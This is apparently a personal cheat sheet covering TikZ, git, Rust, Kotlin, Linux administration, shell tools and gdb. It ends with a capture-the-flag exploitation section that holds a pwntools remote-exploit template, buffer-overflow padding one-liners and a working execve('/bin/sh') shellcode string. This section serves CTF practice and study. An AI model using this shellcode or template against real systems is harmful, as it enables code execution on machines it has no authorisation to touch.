\draw[thin] | thickness: ultra thin, very thin, thin, semithick, thick, very thick, ultra thick |
\draw[line cap=butt] | line ends: round, rect, butt |
\draw[line join=miter] | line joins: round, bevel, miter |
\draw[miter limit=10] | miter limit by a factor |
\draw[dotted] | dash patterns: solid, dotted, densely dotted, loosely dotted, dashed, densely dashed, loosely dashed, [densely/loosely] dash dot, [densely/loosely] dash dot dot |
\draw[dash pattern=on 2pt off 3pf on 4pt off 5pt,dash phase=3pt] | |
\draw[arrows=->] | arrow tips: <-, ->, <->, ->> etc. You can set the tips before and after the - independently, and often omit arrows= : every option with a - is considered an arrow specification. For many types of tips, \usetikzlibrary{arrows.meta} and see below. |
\draw[rotate=10] | some number of degrees |
\draw[help lines] | a predefined style for background lines like grid lines or construction lines |
\draw[rounded corners=10pt] \draw[sharp corners] | rounds corners; the length, an inset, is optional |
Define/redefine a style like [help lines/.style={blue!50,very thin}]
(/.
means "don't use; define"). You can access an argument like #1
, and set a default as [help lines/.defualt=black]
.
With \usetikzlibrary{calc}
, you can do math in ($
$)
brackets (the symbol is chosen to suggest "math" only; there is no math typesetting).
Something like \foreach \x in {1,2,5}{\draw (\x,0) -- (0,\x);}
The range syntax can be like {1,...,10}
for a range, or {1,3,...,11}
for a skip, or (!?) {1,2,...,5,7,8,...,12}
\usetikzlibrary{arrows.meta}
-> | simple arrow, like \to |
->>, ->>> | you can have multiple arrows |
->>.>> | eveything past a . "hovers"; the arrow stem does not pass through it |
->| | arrow and bar, like for denoting something's dimension |
-Stealth -{Stealth[round]} | concave quadrilateral-ish arrow |
-Latex -{Latex[round]} | triangle-ish arrow |
Barbed tips: Arc Barb, Bar, Bracket, Hooks, Parenthesis, Straight Barb, Tee Barb
Math tips: Classical TikZ Rightarrow, Computer Modern Rightarrow, Implies, To
Geometric tips: Circle, Diamond, Ellipse, Kite, Latex, Rectangle, Square, Stealth, Triangle, Turned Square. You can make these open.
Cap tips: Butt Cap, Fast Round (hovering semicircular arc), Fast Triangle (hovering arrow-y concave hexagon), Round Cap, Triangle Cap
Rays[n=8] ends in like an asterisk.
Arrow tip options:
[length=5mm] | length of tip (measured along arrow; extra parameters cause it to scale with line width but whatever) |
[width=5mm] | width of tip (measured perpendicular to arrow) |
[inset=5mm] | the concave part of Stealth |
[scale=2] | just scale up |
[reversed] | reverse the arrow tip |
[harpoon] or [left] | use only "left" half of arrow tip |
[harpoon,swap] or [right] | use only "right" half of arrow tip |
[color=red] | draw with color; again "color=" can be omitted if clear |
[fill=red] | fill with color |
[fill=none] or [open] | don't fill |
Key |
---|
command, subcommand, flag etc. |
file |
commit / branch / tree-ish
|
remote (origin, upstream) |
Remember there are five areas:
Stash | Workspace | Index | Local Repo | Upstream |
---|---|---|---|---|
hide stuff | actual files that non-git stuff manipulate | staging area, --cached etc. | committed HEAD points somewhere here | push, pull |
The actual cheat sheet.
Command | Subcommands, flags, arguments | Description | |||
---|---|---|---|---|---|
git | status | ||||
hist | [alias] hist = log --pretty=format:\"%h %ad | %s%d [%an]\" --graph --date=short (see git immersion) | ||||
add | files | ||||
-p | files | interactively stage parts ("hunks")
| |||
-e | files | edit patch yourself | |||
-u / --update | all modifications and deletions | ||||
-A / --all | all additions, modifications, and deletions | ||||
commit | ∅ | ||||
-a / --all | like add -u | ||||
--amend | ∅ | ||||
--date="`date`" | amend w/ current date (via command substitution; somehow, works even though my `date` is in Chinese) | ||||
branch | [-r / -a] | list (remote / all) | |||
-d / -D | branch | delete (safe / forceful) | |||
newbranch | ∅ | new branch (but not checked out; you probably want checkout -b) | |||
oldbranch | |||||
checkout | master | ||||
-b | branch | First make new branch | |||
file | Reset local unstaged changes | ||||
--ours / --theirs | One or the other version, during a merge Note that you manage the canon in rebase: --ours is stem, --theirs is tip | ||||
reset | HEAD | files | Reset index = make changes unstaged | ||
--soft | branch | Reset HEAD | |||
--hard | HEAD | Reset index and workspace = destroy changes | |||
diff | (Working = unstaged) vs staged | ||||
--cached / --staged | Staged vs last commit | ||||
HEAD | Working vs last commit | ||||
HEAD^ | HEAD | Changes of last commit (easily generalized) | |||
remote | [-v] | list remotes [with URLs] | |||
add | upstream | git://foo | |||
push | ∅ | ||||
upstream | branch | ∅ | |||
-u / --set-upstream | track branches | ||||
-f / --force | after you screw up | ||||
merge | branch | Use some other tree-ish to extend this one | |||
--abort | abort a merge | ||||
rebase | stem | Graft branch and commits somewhere else | |||
tip | (tip will first get checked out) | ||||
-i / --interactive | HEAD~1337 | interactive rebase: rearrange, edit, squash commits...
| |||
--root | |||||
--continue | with interactive | ||||
revert | tree-ish | Make a commit that restores to this commit | |||
stash | put current changes in stash | ||||
list | list stashes | ||||
pop | ∅ | apply stash + pop it (if no conflicts) | |||
stash@{8} | |||||
apply | ∅ | apply stash | |||
stash@{8} | |||||
drop | ∅ | delete top stash w/o applying (esp. after git stash pop + resolving conflicts) | |||
stash@{8} | |||||
show | ∅ | [ -p ] | show stash briefly (-p: as patch) | ||
stash@{8} | |||||
clean | -f | [path] | Remove files not in version control | ||
-i | Interactively | ||||
-n | Dry run | ||||
-d | Also directories | ||||
-x | Even if .gitignore'd | ||||
-X | Only if .gitignore'd | ||||
ls-files | | xargs wc -l | Count lines... |
git hash-object filename 8e045dbc7eac808d0fe8a9f2a706247cb0df5b58once in:
git cat-file -t 8e045dbc7eac808d0fe8a9f2a706247cb0df5b58 git cat-file blob 8e045dbc7eac808d0fe8a9f2a706247cb0df5b58
git ls-tree HEAD
[Gen] means the collection might be sequential or parallel.
TraversableOnce has foldLeft[B](z: B)(op: (B, A) ⇒ B): B and foldRight[B](z: B)(op: (A, B) ⇒ B): B. There's no reconstruction.
Traversable begins to have stuff like collect[B](pf: PartialFunction[A, B]): CC[B] and map[B](f: (A) ⇒ B): CC[B].
rerun sbt with flags like -deprecation: set scalacOptions in ThisBuild ++= Seq("-unchecked", "-deprecation")
format!("{a} {b}", a=3, b=4); // pretty like Python str.format. {}, {0}, {:b} etc. // {} uses fmt::Display // {:?} uses fmt::Debug, formats text for debugging // {:#?} pretty printing // {:b} uses binary etc print! println! eprint! eprintln! all use this
T &T &'a T &mut T &'a mut T [T; n] // array with compile-time-known length [expr; n] // expression of such an array // slices, generally only exist behind some reference or other indirection &str // always valid UTF-8! &'static str // type of string literals &mut str &[T] &mut [T] (T, U) // and so on () // unit; implicitly returned fn longest<'a>(x: &'a str, y: &'a str) -> &'a str { ... }if
value: Foo
, then value.bar()
tries
Foo::bar
(&Foo)::bar
(&mut Foo)::bar
Foo: Deref<Target=U>
or Foo: DerefMut<Target=U>
, recurse on U
Deref::deref(&self) → &Self::Target
DerefMut::deref_mut(&mut self) → &mut Self::Target
let s = String::from("hello"); &s[0..2]; // &str &mut s[0..2]; // &mut str
#[derive(Clone, Debug)] struct User { username: String, // ... }; struct Color(i32, i32, i32) let mut user1 = User { username: String::from("lol"), // ... }; user1.username = String::from("1234"), let mut user2 = User { username: String::from("lol"), ..user1 }; impl User { fn area(&self) -> String { String::clone(self.username) } } enum Message { Quit, // unit Move { x: i32, y: i32 }, // struct-like Write(String), ChangeColor(i32, i32, i32), // tuple-like } enum Option<T> { Some(T), None, } // impl also takes type variables impl<T> Point<T> { fn x(&self) -> &T { &self.x } }
Option<T>.unwrap_or(self, T) → T Option<T>.unwrap_or_default(self) → T where T: Default &Option<T>.is_some(&self) → bool &Option<T>.is_none(&self) → bool Option<T>.map_or(self, U, T → U) → U Option<T>.and_then(self, T → Option<U>) → Option<U> Option<T>.ok_or(self, E) → Result<T, E> Option<T>.unwrap(self) → T (or panic!) Option<T>.expect(self, &str) → T (or panic!) &mut Option<T>.take(&mut self) → Option<T> Option<&T>.copied(self) → Option<T> Option<&T>.cloned(self) → Option<T>
Result<T, E>.ok(self) → Option<T> Result<T, E>.err(self) → Option<E> Result<T, E>.unwrap_or(self, T) → T Result<T, E>.unwrap_or_default(self) → T where T: Default Result<T, E>.map_or(self, U, T → U) → U Result<T, E>.map_or_else(self, E → U, T → U) → U // note the order! Result<T, E>.and_then(self, T → Result<U, E>) → Result<U, E> Result<T, E>.unwrap(self) → T (or panic!) Result<T, E>.expect(self, &str) → T (or panic!) &Result<T, E>.as_ref(&self) → Result<&T, &E> &mut Result<T, E>.as_mut(&mut self) → Result<&mut T, &mut E>
&Vec<T>.len(&self) → usize // Both type signatures below are fake, you can also slice. &Vec<T>.get(&self, usize) → Option<&T> &mut Vec<T>.get_mut(&mut self, usize) → Option<&mut T> &mut Vec<T>.push(&mut self, T) &mut Vec<T>.extend(&mut self, IntoIterator<T>) // via Extend<T> // Pass .. or a..b. Creates iterator (holding a mut ref) that removes that // range and yields its elements. &mut Vec<T>.drain(&mut self, RangeBounds<usize>) &mut Vec<T>.remove(&mut self, usize) → T (or panic!) (shifts things left) &mut Vec<T>.swap_remove(&mut self, usize) → T (or panic!) (swaps with last element) &mut Vec<T>.pop(&mut self) → Option<T> // In particular &v[..], &mut v[..] are slices. a[b] is sugar for the Index trait, with .index(). Panics if OOB!!
mem::drop(T) mem::replace(&mut T, T) → T mem::take(&mut T) → T where T: Default mem::swap(&mut T, &mut T)
for e in seq { ... }
is always sugar for iterating over seq.into_iter()
, but many containers have separate implementations of into_iter
for T, &T, &mut T
. into_iter()
is idempotent on iterators.
for e in 0..n { ... } for e in 1..=n { ... }
for e in &seq { ... } // seq.iter() (by convention!) for e in &mut seq { ... } // seq.iter_mut() (by convention!) for e in seq { ... } // seq.into_iter()
Let T = Self::Item. Type signatures are extremely fake (Iterator and IntoIterator have Item as an output "associated type" rather than an input "type parameter". So an example way to take an iterator:)
fn next_two<A: Iterator>(mut a: A) -> (Option<A::Item>, Option<A::Item>) { (a.next(), a.next()) }
You might want to use <A as Iterator>::Item
sometimes? Idk.
Manual iteration:
.next() → Option<T>. The standard lazy toolkit:
.map(T → B) → Iterator<B> .flat_map(T → (U: IntoIterator<B>)) → Iterator<B> .flatten() → Iterator<B> where T: IntoIterator< .zip(U: IntoIterator<B>) → Iterator<(T, B)> .copied() → Iterator<B> where T = &B, B: Copy .cloned() → Iterator<B> where T = &B, B: Clone // note the extra reference in the predicate arguments .filter(&T → bool) → Iterator<T> .take_while(&T → bool) → Iterator<T> .skip_while(&T → bool) → Iterator<T> .find(&T → bool) → Option<T> &mut .position(T → bool) → Option<usize> .filter_map(T → Option<B>) → Iterator<B> .fold(self, B, (B, T) → B) → B .reduce(self, (T, T) → T) → Option<T> // "fold1" .enumerate() → Iterator<(usize, T)> // on &mut!! .nth(usize) → Option<T> (skips n, then gives you next) .take(usize) → Iterator<T> .skip(usize) → Iterator<T> // only on DoubleEndedIterator .rev()
Consumers:
.count() → usize .for_each(T → ()) .any(T → bool) → bool .all(T → bool) → bool // You can sum/product numeric types, and Options/Results thereof (monadically) .sum() → S where S: Sum<T> .product() → P where P: Product<T> .max(), .min() → Option<T> where T: Ord .max_by, .min_by((T, T) → Ordering) → Option<T> .max_by_key, .min_by_key(T → B) → Option<T> where B: Ord .collect>B>(self) → B where B: FromIterator<T> // B is often explicitly specified (with the "turbofish") // You can use Vec<_> (or many other collections) // collect String from char // collect String from String (!) // if collect C from T, then collect Option<C> from Option<T> // if collect C from T, then collect Result<C, E> from Result<T, E>To write a consumer, trait bound by
Iterator<Item=Foo>
or something.
let cap = 1; |arg: Foo| { arg + cap }Closures capture as weakly as possible (ref, then mut ref, then own). If you want to move, use the
move
keyword. To move some and not others, put a reference in a separate variable and move that.
move |arg: Foo| { arg + cap }Every closure that captures something is its own type (just like in C++). So to consume, you want a trait bound (in any of the below syntaxes):
fn foo<F>(f: F) where F: Fn(Foo) -> BarThe traits are
Fn, FnMut, FnOnce
. On the other hand, closures that don't capture anything are "plain function pointers" of the concrete type fn(Foo) -> Bar
.
pub fn notify(item: impl Summary) { println!("Breaking news! {}", item.summarize()); } // is syntax sugar for pub fn notify<T: Summary>(item: T) { println!("Breaking news! {}", item.summarize()); } // is syntax sugar for pub fn notify<T>(item: T) where T: Summary { println!("Breaking news! {}", item.summarize()); } pub fn notify(item: impl Summary + Display) { pub fn notify<T: Summary + Display>(item: T) { fn some_function<T, U>(t: T, u: U) -> i32 where T: Display + Clone, U: Clone + Debug { ... }Where
where
:
fn other_function<T>(t: T) -> i32 where Option<T>: Debug { ... }These all monomorphize at compile time (?)
Written in a hurry for a certain Codeforces contest. There's more here than Scala because I learned Scala more slowly and systematically by actually writing a Scala project.
val
, var
, fun
. Types are postfix with colon. Unit
is void and can be omitted. You've seen this before in Scala except for fun
.
fun sum(a: Int, b: Int): Int { return a + b }
fun sum(a: Int, b: Int): Int = a + b
You can call functions with named default arguments like f(arg = param)
.
Strings template with $foo
like Perl or ${foo}
like JavaScript template literals.
instanceof is is
: obj is String
. The inverse is !is
. Casting is as?
?
if (c) a else b
if (x in 1..5) { print(x) }. Inverse is !in
. for (x in 1..5) { print(x) }, for (x in 9 downTo 9 step 3) { print(x) }. Ranges are inclusive as in Haskell.
Everything in braces: { arg1, arg2 -> arg1 + arg2 }
. Fast single-argument anonymous functions use it
: ints.filter { it != 0 }
. More explicitly you can write fun(arg: T): T { return arg }
.
The type of a function is (A1, A2) -> R
.
Note that to use a function declared not-inline as fun foo() { ... }
as a value, you write ::foo
.
T? basically means nullable T. T looks like a subtype of T?, and control flow narrows the type
a?.b
is null if a is null, a.b otherwise
a ?: b
(the "Elvis operator") is b if a is null, a otherwise
a!!
asserts that a is not null and gets it.
a as? T
casts a to T, returning null if it fails.
Unclear if this goes here, but str.toIntOrNull()
is a null-safe version of str.toInt()
.
constructor
, but they must call the main constructor (possibly through other constructors). You can make the constructor arguments public properties with val
/var
.
class Foo(bar: T, val baz: U) { }Kotlin's
data class
es are in the same vein as Scala's case class
es, a difference being that you still need to explicitly write val
on everything. The nice methods like equals
get written for you.
ArrayList and stuff work. You can also use []
indexing.
# these might assume Ubuntu adduser example adduser example sudo # log in as example, put entry in ~/.ssh/authorized_keys # edit /etc/ssh/sshd_config to say: PasswordAuthentication no sudo systemctl restart sshd
sudo vim /etc/nginx/conf.d/your.website.com.conf sudo nginx -s reload
server { listen 80; # port listen [::]:80; # ipv6 port # serve static content root /path/to/static-content-folder; index index.html; # can list more than one location /special-static/ { alias /path/to/special/folder/; } } server { listen 443 ssl; listen [::]:443 ssl ipv6only=on; # ?? # Certbot should deal with these ssl_certificate /path/to/fullchain.pem; ssl_certificate_key /path/to/privkey.pem; include /path/to/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; }Reverse Proxy: inside a server {}:
location /someexactpath/ { proxy_pass http://localhost:12345/; proxy_buffering off; } # or location ~* ^/somepath/ { } location /idk/ { proxy_pass http://localhost:12345/; proxy_buffering off; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "Upgrade"; # by default nginx sets Host to $proxy_host proxy_set_header Host $host; proxy_read_timeout 7200; }
sudo ufw app list // this does NOT mean what's allowed in lol sudo ufw status sudo ufw allow 8073 sudo ufw allow http sudo ufw allow https sudo ufw allow ssh sudo ufw allow mosh
The opposite of allow
is deny
, but to undo typing one of the above you type delete
and then the rule again, e.g. ufw delete allow 8073
ssh-keygen
-t rsa -b 4096 -t ed25519 [-f ~/.ssh/filename] [-C [email protected]]
ssh-keygen -l [-f ~/.ssh/filename]
ssh-keygen -y [-f ~/.ssh/filename]
ssh-keygen -p [-f ~/.ssh/filename]
View the public host key you have stored for a server: ssh-keygen -H -F hostname.example.com[:port]
(the hostnames are normally hashed so you can't just list all known hostnames)
Delete it: ssh-keygen -R hostname.example.com[:port]
The server's keys might be in /etc/ssh
.
ssh-copy-id -i ~/.ssh/filename user@host
ssh -i ~/.ssh/filename user@host
ffmpeg -i input-video.avi -vn -acodec copy output-audio.aac # -vn is no video. -acodec copy says use the same audio stream ffmpeg ... -filter:v crop=w:h:x:y,scale=w:h ffmpeg -i input.mkv -filter:v "setpts=0.125*PTS" -filter:a "atempo=2.0,atempo=2.0,atempo=2.0" output.mkv
choose what to auto open something with: mimeopen somefile
weird type: inode/mount-point
sudo dpkg -i foo.deb
; sudo apt install -f
version: lsb_release -a
ssh [email protected] "gzip -c /home/user/bigfile" > backup-(date +%F-%T).db.gz
ssh [email protected] mysqldump --user=some_user --password=some_password --host=some_host.db --databases some_database | gzip > backup-(date +%F-%T).sql.gz
df
(about file systems, used/avail %) -h
human-readable powers of 1024
ls
-l
long-S
sort by file, largest first-r
reverse (can be combined)-h
human-readable sizestar
cf archive.tar src1.txt src2.txt
: createxf archive.tar
: extractxvzf archive.tar.gz
: extract gzip verboselycvzf archive.tar.gz src1.txt src2.txt
: create gzip verbosely
find . -printf '%s\t%p\n' | sort -n
or | sort -nr | head -10
du | sort -g
tr 'a-z' 'n-za-m'
, or tr -d ' '
to delete things.
timezones on some flavors of Linux: sudo dpkg-reconfigure tzdata
wget -r -np -k example.com
sudo echo foo > privileged_file
does not work, try echo foo | sudo tee privileged_file
or sudo sh -c 'echo foo > privileged_file'
.
related vim hack, if you accidentally opened a privileged file read-only and edited: :w !sudo tee %
tee
takes -a
/--append
, analogue of >>
scp [email protected]:foobar.txt /some/local/directory scp foobar.txt [email protected]:/some/remote/directory
scrot
df
fsck
smartctl
(sudo smartctl -x /dev/something
, maybe truncate n#p#
?)
journalctl
: queries systemd journal maybe -k -b -1
. -k
is kernel only. -b -1
is a number, last boots are -0
, -1
... and first boots are 1
, 2
... -e
to page to end automatically; -r
reverses; -f
follows.
dmesg
lsblk
sudo usb-creator-gtk
(gui)
grep pattern files...
grep
, grep -G
: "basic regular expressions": ?+{}|() are literal, magic if backslashed.egrep
, grep -E
: "extended regular expressions"fgrep
, grep -F
: fixed strings-A NUM
: print NUM lines of context after-B NUM
: print NUM lines of context before-C[NUM]
: print NUM lines of context, default 2 (grep says there must be no space between the option and its argument! others don't)-i
: ignore case-m NUM
: stop reading file after NUM matches-o
: only print the matching part of lines-r
: recursive-w
: search for as if a word--color
: color-highlight matches--exclude PAT
: exclude files matching the filename pattern--exclude-dir PAT
: exclude directories matching the filename pattern--include PAT
: only search files matching the filename pattern--include-dir PAT
: only search directories matching the filename pattern-f
: just list files that have been selected for searching-g PATTERN
: print files where relative path + filename matches PATTERN--ignore-dir DIRNAME
: ignore directories with this exact name (not a pattern!)--ignore-file FILTER
: ignore files matching this filter-Q
: match as literal string--smart-case
--type-set=yourtypename:FILTER --yourtypename
: create a custom file filter type, and use it (probably put the first part in your ~/.ackrc)is:FILENAME
matches FILENAME literallyext:EXTENSION,...
e.g. ext:hs
or ext:c,h,cpp
checks the extensionmatch:PATTERN
matches filename with pattern, case-insensitively-g PATTERN
: print filenames that match-G PATTERN
: only search filenames whose names match--ignore PATTERN
: ignore files/directories whose names match this pattern-Q
: match as literal string-S --smart-case
-U
: don't use VCS ignore files (.gitignore etc.) but still use .agignore-g '*.noul'
-g '!PATTERN'
: don't search filenames whose names match-t rust
--type-list
. eg py
code> is *.py
, js
is *.{js,jsx,vue}
, ts
is *.{ts,tsx}
, BUT rust
is *.rs
sed s/foo/bar/ sed s/foo/bar/g sed 's/foo\(.\)/bar\1/g' sed -E 's/\d/\1\1/g' sed -n /foo/p # just grep sed -n s/foo/bar/p # only print subbed lines
Each awk command(?) is pattern { action }
. pattern could be empty to do something every line, BEGIN
, END
, /pattern/
, expression like NF > 2
. $0
is the entire line (record), $1
is the first (1-indexed) field (whitespace-separated; use -F
to specify a separator, which maybe can be empty to have each character its own field), etc. Lots of C-like math ("1" + "2" == 3, but "10" < "2", use unary +), but not bitwise operators; juxtaposition is concatenation; x ~ /foo/
; NF
number of fields ($NF
for last field, $(NF-1)
...), NR
is number of records (lines) (so far). Variables can be used ex nihilio; they default to "", which converts to 0.
awk '{ x += $1 } END { print x }' awk -F ',' '/aaa/ { print $3 }' data.csv | gnuplot -p -e "plot '-'"
Snippet to get name, height, width in format of an HTML tag: identify -format '<img src="%f" width="%w" height="%h" />' $argv
convert dragon.gif -crop 40x30+10+10 +repage crop_dragon.gif
convert dragon.gif -resize 64x64 resized_dragon.gif
This resizes the gif, preserving aspect ratio, so that it is as large as possible while fitting in a 64x64 box (one dimension = 64, the other ≤ 64). Variants (which often need to be escaped for the shell to see them):
64x64!
: Exactly that size; don't preserve aspect ratio64x64>
: Only shrink64x64<
: Only enlarge64x64^
: Fill area: make it as small as possible while containing a 64x64 box (one dimension = 64, the other > 64). Corollary: 1x64^
forces a height of 64; 64x1^
forces a width of 64.50%
just means fifty percentThese characters are just flags that affect the entire -resize
. Location doesn't matter. 50%x30
doesn't work.
Combining commands | |
---|---|
a && b | a; and b |
a || b | a; or b |
a $(b) will be word-split and path-expanded | a (b | string split " ") |
a (b) | |
History | |
!-(number) # nth most recent command
!-1 ≡ !! !$ # last argument of most recent command ^old^new^ # substitute old → new in last command, then re-run it |
(use arrow keys) |
Redirection | |
>outfile | |
2>errfile | also works, or ^errfile |
2>&1 | also works, or ^&1 |
2>&1 | also works, or ^&1 |
2>&1 >/dev/null or whatever | a 2&| b |
a <(b) | a (b | psub) |
Variables | |
var=value | set var value |
array=(one two three) | set array one two three |
export var=value | set -x var value (-x ≡ --export) |
unset var | set -e var (-e ≡ --erase) |
|
|
"$@" $1 $2 ... ; $# is count; "$*" is all args space-concatenated | $argv (array) |
$0 | $_ (currently running command) |
$? | $status |
$HOME | |
$PWD | |
$USER (not technically bash built-in) | |
$PATH (array in fish) | |
Arrays and data | |
seq 5 → 1 2 3 4 5 (not bash built-in, write a loop if you don't have seq) | |
${#str} | string length $str |
${#array[@]} | count $array |
[[ bool_expr ]] (better than [ ... ] ) | test bool_expr ([ ... ] works too but dispreferred) |
|
|
$((1 + 2)) # no need for $-prefixing var names | math -- 1 + 2 # thin wrapper for bc; use -- to avoid negative numbers becoming flags |
control flow i guess? | |
if ...; then ... elif ...; then ... else ... fi | if ... ... else if ... ... else ... end |
for v in 1 2 3 do echo $v done | for v in 1 2 3 echo $v end |
case ... in pattern1) ... ;; pattern2) ... ;; *) ... esac | switch ... case pattern1 ... case pattern2 ... case '*' ... end |
basename /path/to/foo → foo basename /path/to/foo.cpp .cpp → foo dirname /path/to/foo → /path/to dirname foo → .
man date: | date %F = %Y-%m-%d = 2013-09-27 | %D = %m/%d/%y = 09/27/13 | | year | %Y = 2013, %C = 20, %y = 13 | month | %m = 09, %b = %h = Sep, %B = September | day | %d = 27, %e = %_d | of week | %a = Fri, %A = Friday | | %j = 001..366 | | time %T = 13:37:42 | %r = locale's 01:11:04 PM | h:m | %R = 13:37 | hour | %H = (00..23), %I = (01..12); %k = %_H, %l = %_I | | %p = AM/PM, %P = am/pm | minute | %M = 37 | second | %S = (00..60) ISO time (more or less): %Y-%m-%dT%H:%M:%S%z = %FT%T%z
^G Get help ^X close ^O (write Out): save the file ^S save with no prompt ^W ("where?"): search ^Q ("where?"): search back ^\ replace M-A / ^6: MArk (visual mode) M-} (or Tab): indent M-{ (or Shift-Tab): dedent M-^ copy line ^K (Kill): cut line ^U (Uncut): uncut line M-U undo M-E Redo M-: start/stop recording macro M-; do macro M-# line numbers M-P whitespace M-Y color
.tables
.schema table_name
.headers ON
.mode column
_id
is the primary key.
show dbs use my_db_name show collectionsbut really it's just javascript
db.getCollectionNames() // all args optional: db.my_collection_name.find(query, projection, options) query examples: { "_id": "foo" } { "qty": { "$gt": 4 }} { "qty": { "$exists": true }} thing1 = {"foo": "bar", ...} db.my_collection_name.insertOne(thing1) db.my_collection_name.insertMany([thing1, ...]) db.my_collection_name.deleteMany(query) // query = {}: DELETE EVERYTHING
Dockerfile
docker build . docker build --tag hello:v1 .
docker-compose.yml
: in dir, docker compose up
python -c 'print "\x12\x34\x56\x78"*50' edgy: perl -e 'print "b" x 0x88, "\x12\x34\x56\x78"' objdump -d executable file strings
from __future__ import division, print_function from pwn import * import re, sys # context.arch = "amd64" # context.terminal = ['tmux', 'splitw', '-h'] # sys.setrecursionlimit(8000) if args['REMOTE']: conn = remote('1.2.3.4', 1337) else: conn = process('executable') if args['GDB']: gdb.attach(conn, """set disassembly-flavor intel b __libc_start_main """) maze_text = conn.recvuntil('(the lower left cell is 0,0)') goal_res = re.search(r'goal: (\d+), (\d+)', maze_text) goal = (int(goal_res.group(1)), int(goal_res.group(2))) conn.sendline('foo') conn.interactive()
x86(-32) has eight registers: EAX
, ECX
, EDX
, EBX
, ESP
, EBP
, ESI
, EDI
. (x86-64 has 8 more and adds RAX
etc.) Also EIP
is the instruction pointer.
| ‹locals/temps› | <= esp | ‹locals/temps› | esp+8 | ‹locals/temps› | ... | ‹locals/temps› | ebp-8 | ‹old ebp› | <= ebp | ‹return address› | ebp+8 | ‹arguments?› | ebp+16
ESP
is the Stack Pointer, pointing to the “top” of the stack (the end with lowest address), and is important since PUSHing and POPping handles it.EBP
is the Stack Base Pointer, somewhere “below” (higher memory) ESP on the stack, but above it, a useful baseline from which functions can access things on the stack relatively.The stack grows "downward in memory" i.e. toward lower addresses, so if we write the stack memory by increasing memory addresses as usual, the metaphorical top of the stack coincides with the top.
64(----------------RAX-----------------) 32(------EAX-------) (DWORD) 16(--AX--) (WORD) 8(AH)8(AL) (BYTE)
x86 is little-endian: least-significant byte first.
x86 (32): Arguments go on stack, pushed in reverse order so their memory addresses are in order:
push ebp mov ebp, esp push arg2 push arg1 call callee pop ebp
%rdi
, %rsi
, %rdx
, %rcx
, %r8
, %r9
.x86-64, Microsoft/Windows: %rcx
, %rdx
, %r8
, %r9
Different OS’s have different syscalls.
call callee
≈ push eip+4; mov eip, callee
ret
≈ pop eip
enter
≈ push ebp; mov ebp, esp
leave
≈ mov esp, ebp; pop ebp
Nothing takes immediate of more than 32 bits.
Offset = base (register) + (index (register) * base(1, 2, 4 or 8)) + displacement (none to 32 bits)
Registers in order: rax rcx rdx rbx rsp rbp rsi rdi r8 r9 r10 r11 r12 r13 r14 r15 e8: call (4 bytes: relative address) e9: jmp (4 bytes: relative address) eb: jmp (1 byte: relative address) c3: ret
For a lot of operations between two 64-bit registers, the bytecode has three bytes like so:
0b01001S0D 0bXXXX1001 0b11SSSDDD
where the four X bits control the opcode, the four S bits control the source register, the four D bits control the destination register:
01: add 09: or 11: adc 19: sbb 21: and 29: sub 31: xor 39: cmp 31 (c0 + 8*src + dst): xor reg, reg 31 c0: xor eax, eax 31 c1: xor ecx, eax 31 c8: xor eax, ecx 31 d2: xor edx, edx 48 31 c0: xor rax, rax 4c 31 c0: xor rax, r8 49 31 c0: xor r8, rax 4d 31 c0: xor r8, r8 b8 (4 bytes): mov literal into eax 48 c7 c0 (4 bytes): mov literal into rax 49 c7 c0 (4 bytes): mov literal into r8 50-57, 41 50-57: push reg (50: push rax; 41 50: push r8) 58-5f, 41 58-5f: pop reg (58: pop rax; 41 58: pop r8)
55: push bp 89 e5: mov bp, sp
mod r/m: 5 bits, eight registers and 24 addressing modes reg/opcode: either register number or three more bits of opcode Vol. 2A page 2-5. sib byte: scale, index, base.
break __libc_start_main break *0x12345678 // given address from radare2 or something run
si
/stepi
(until different instruction)ni
/nexti
(until next instruction; don't enter calls)finish
(finish this call)u
/until location
nextcall
(pwndbg)c
/continue
(until next breakpoint)s
/step
(until different line)n
/next
(until next line; don't enter calls)u
/until
(until numerically next line, so if you're at the end of a loop, runs until after it)break label
/ break *0x12345678
break label if comdition
tbreak
: as above but delete the breakpoint after broken atclear label
/ clear *0x12345789
clear
(clear breakpoint at current location)i b
/info break
(list breakpoints)d
/delete [num]
(delete nth breakpoint from i b
or ALL breakpoints)dis
/disable [num]
(disable nth breakpoint or all)enable [num]
(enable nth breakpoint or all)p
/print expr
(link):
$1
, $2
, etc. or in reverse order, $
, $$
, $$2
, $$3
, etc.print /f expr
: f = t(!), o, u/d, x/z for base 2, 8, 10 (unsigned/signed), 16 (direct/zero-padded); a for address, c for character, s for string, f for floatx/[number][format][unit]
number
: 10 (bytes, say)format
: like print /f
e.g. x for hexunit
: b = byte, h = halfword (two bytes), w = word, g = "giant word" (eiGht bytes)$_
, value in $__
x/s
: stringdisplay/10i $eip
set disassembly-flavor intel
; disasssemble main
/disas main
find
:
find start_addr, +len, val
find start_addr, end_addr, val
{char[5]}"hello"
i r
/info registers
(inspect registers; or try voltron view registers
from another window)info functions
info proc mappings
(has heap ptr etc)vmmap
(has heap ptr etc)set var
is safer because set
has subcommands e.g. set g=4
is set gnutarget =4
set $esp += 4
set {int}0x12345 = 4
set {int}0x12345 = 4
j
/jump
locationreturn
[expr]call
exprset write on
/ set write off
(needs reopen file)watch expr
(break when expr is written)
rwatch expr
(break when expr is read)
awatch expr
(break when expr is read or written)
Use the same commands as breakpoints to query/delete/disable/enable: i b
/info breakpoints
, d
/delete [num]
, dis
/disable [num]
, enable [num]
.
There's a hardware limit on how many hardware watchpoints you can set. You can make GDB use software watchpoints with set can-use-hw-watchpoints 0
but it is very slow.
config
(pwndbg tells you what you can config)set context-sections 'disasm'
(if you're using voltron
for other sections; default is 'regs disasm code stack backtrace'
)
set $base = 0x555555554000
shell-storm.org/shellcode: Most likely you want Dad`'s 27-byte shellcode which is "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
.
from pwn import * context.arch = "amd64" shellcode = asm(""" mov eax, 0x3b mov rdi, 0x1234567890ab ; ptr to "/bin/sh\0" xor rsi, rsi xor rdx, rdx syscall """)Use shellcraft if you don't want to write your own assembly. Concatenate this with the other assembly and pass into
asm
:
shellcraft.amd64.mov('rax', 0x12345678) shellcraft.amd64.pushstr('foobar', append_null=False) fd = 4; length = 128 shellcraft.amd64.linux.syscall('SYS_write', fd, 'rsp', length) shellcraft.amd64.linux.syscall('SYS_read', fd, 'rsp', length)
break somewhere print system
